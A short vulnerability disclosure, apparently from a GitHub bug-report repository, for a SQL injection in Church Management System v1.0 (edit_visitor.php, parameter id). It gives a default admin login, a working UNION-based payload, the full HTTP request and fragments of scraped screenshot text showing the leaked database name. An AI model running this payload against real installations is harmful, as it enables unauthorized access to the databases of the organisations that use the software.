

main

...

bug\_report / vendors / Godfrey De Blessed / church-management-system / SQLi-1.md



Estbonxby Create SQLi-1.md

History

1 contributor

31 lines (21 sloc) | 1.07 KB

...

# Church Management System v1.0 by Godfrey De Blessed has SQL injection

BUG\_Author: XuBoyu

Login account: admin/admin (Super Admin account)

vendors: <https://www.sourcecodester.com/php/11206/church-management-system.html>

The program is built using the xmapp-php8.1 version

Vulnerability File: /cman/admin/edit\_visitor.php?id=

Vulnerability location: /cman/admin/edit\_visitor.php?id=, id

dbname = cman

[+] Payload: /cman/admin/edit\_visitor.php?

id=-1%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11--+ // Leak place ---> id

```
GET /cman/admin/edit_visitor.php?id=-1%27%20union%20select%201,database(),3,4,5,6,7,
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=fjhrjdpuej6edqv5haoadj3lc  
Connection: close

◀

▶

INT

SQL BASICS

UNION BASED

ERROR/DOUBLE QUERY

TOOLS

WAF BYPASS

ENCODING

HTML

ENCRYPTI

Load URL

Split URL

Execute

http://192.168.1.19/cman/admin/edit\_visitor.php?id=-1' union select 1,database(),3,4,5,6,7,8,9,10,11--+|

☐ Post data

☐ Referrer

◀

0xHEX

▶

◀

%URL

▶

◀

BASE64

▶

Insert string to replace

Ins

Church manager Admin Panel

Dashboard

manage members

manage Teens & S. School

manage Visitors

+ Add New Visitor

Edit member Info.

cman

3

4

5

Note!: Select the che

Visitor(s) List

Delete

10 records pe

NAME

Godfrey Mutia

Showing 1 to 1 of 1 entrie